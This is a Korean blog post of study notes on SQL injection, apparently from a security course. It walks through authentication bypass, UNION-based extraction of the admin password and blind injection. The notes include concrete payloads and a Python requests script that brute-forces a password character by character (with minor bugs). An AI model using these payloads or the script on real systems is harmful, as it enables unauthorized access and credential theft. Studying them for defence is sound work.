SQL Injection
DBMS에서 사용하는 쿼리를 임의로 조작해 데이터베이스의 정보를 획득하는 것
*SQL이란? DBMS 에 데이터를 질의하는 쿼리 언어
Ex) 로그인 기능을 위한 쿼리
DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 dreamhack이고, 비밀번호가 password인 데이터를 조회
SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='dreamhack' and user_pw='password': user_id 컬럼이 dreamhack이고, user_pw 컬럼이 password인 데이터로 범위 지정
이용자가 입력한 “dreamhack”과 “password” 문자열을 SQL 구문에 포함하는 것을 확인할 수 있습니다.
이렇게 이용자가 SQL 구문에 임의 문자열을 삽입하는 행위를 SQL Injection이라고 합니다.
EX) SQL Injection으로 조작한 쿼리
DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 admin인 데이터를 조회
SELECT * FROM accounts WHERE user_id='admin'
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블에서 데이터를 조회할 것이라고 지정
- WHERE user_id='admin': user_id 컬럼이 admin인 데이터로 범위 지정
인증 우회
user_pw 조건문이 없도록 조작된 쿼리를 통해 질의하면 DBMS는 ID가 admin인 계정의 비밀번호를 비교하지 않고 해당 계정의 정보를 반환한다.
예제1) 모든 이용자의 uid 를 가져오기
- uid 값에 1이라는 임의의 값을 넣고, 따옴표를 추가하여 입력값을 닫아준다.
- or 1=1로 인해 조건문이 항상 참을 만족한다.
- 주석(# 또는 --)으로 쿼리문을 끝내어 upw 비교를 하지 않게 된다.
모든 이용자의 Uid 가 보이게 된다.
예제2) admin의 upw를 알아내는 공격 쿼리문
- 예제1 에서 출력되는 컬럼은 uid 하나 뿐이지만, upw 라는 컬럼이 테이블에 있다는 것을 알고 있다면,
- 쿼리문 두개를 이용한 UNION SQL Injection 를 시도한다.
Union SQL Injection
- 2개 이상의 쿼리를 요청하여 결과를 얻는 UNION 이라는 SQL 연산자를 이용한 SQL 인젝션 공격
- 쿼리문 두 개의 컬럼 개수가 같아야 한다. (UNION을 하기 위한 조건)
- ex) SELECT `id`, `password` from table UNION SELECT `email` FROM table WHERE `id`='1'
- 쿼리문1은 두 개의 컬럼 요청, 쿼리문2는 한 개의 컬럼 요청 => 오류
그렇다면 Select * from user_table 이라는 쿼리문을 추가하여, 테이블에 있는 컬럼 개수를 찾아내보자.
모든 이용자의 uid가 나온다.
근데 Select * 을 하면 upw 컬럼도 같이 떠야되는 거 아닌가?
흠 일단 해봤다
SELECT uid FROM user_table WHERE uid='' UNION SELECT upw FROM user_table WHERE uid='admin' -- and...
- 첫 번째 쿼리문은 필요없으니 uid의 따옴표를 그냥 닫아주고,
- UNION을 추가 후
- admin의 upw를 가져오는 두 번째 쿼리문을 추가한다.
- 주석 처리로 나머지 쿼리를 무시한다.
Blind SQL Injection
참/거짓 반환 결과로 데이터를 획득하는 공격 기법
# 첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
# 두 번째 글자 구하기 (아스키 115 = 's', 116 = 't')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True
- ascii : 전달된 문자를 아스키 형태로 반환
- ex) ascii('a') = 97
- substr(string, position, length)
- ex) substr('ABCD', 1, 1) = 'A'
- ex) substr('ABCD', 2, 3) = 'BCD'
Blind SQL Injection 공격 스크립트
- 한 바이트 씩 알아내는데 시간이 오래 걸림 -> 공격을 자동화하는 스크립트를 작성한다
- 공격 스크립트를 작성하는데 유용한 라이브러리로, 파이썬의 HTTP 통신을 위한 requests 모듈 이 있다.
- 스크립트를 작성하기 전에, 이용자가 입력할 수 있는 모든 문자의 아스키 범위를 지정해야 한다.
- 비밀번호: 알파벳, 숫자, 특수 문자로 이루어짐
- 아스키 범위: 32~126
#!/usr/bin/python3
import requests
import string
# example URL
url = 'http://example.com/login'
params = {
'uid': '',
'upw': ''
}
# abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
tc = string.ascii_letters + string.digits + string.punctuation
# 사용할 SQL Injection 쿼리
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
# 비밀번호 길이는 20자 이하라 가정
for idx in range(0, 20):
for ch in tc:
# query를 이용하여 Blind SQL Injection 시도
params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
c = requests.get(url, params=params)
print(c.request.url)
# 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장
if c.text.find("Login success") != -1:
password += chr(ch)
break
print(f"Password is {password}")
- 비밀번호에 포함될 수 있는 문자를 string 모듈을 사용해 생성하고,
- 한 바이트씩 모든 문자를 비교하는 반복문을 작성합니다.
- 반복문 실행 중에 반환 결과가 참일 경우에 페이지에 표시되는 "Login success" 문자열을 찾고,
- 해당 결과를 반환한 문자를 password 변수에 저장합니다.
- 반복문을 마치면 "admin" 계정의 비밀번호를 알아낼 수 있습니다.
키워드
- SQL injection: SQL 쿼리에 이용자의 입력 값을 삽입해 이용자가 원하는 쿼리를 실행할 수 있는 취약점
- Blind SQL Injection: 데이터베이스 조회 후 결과를 직접적으로 확인할 수 없는 경우 사용할 수 있는 SQL injection 공격 기법
'KERT > HackHeat' 카테고리의 다른 글
NoSQL Injection (0) | 2023.07.27 |
---|---|
NoSQL 개념과 MongoDB 기본 문법 (0) | 2023.07.26 |
DBMS (0) | 2023.07.21 |
ClientSide: XSS (0) | 2023.07.16 |
Cookie & Session (0) | 2023.07.16 |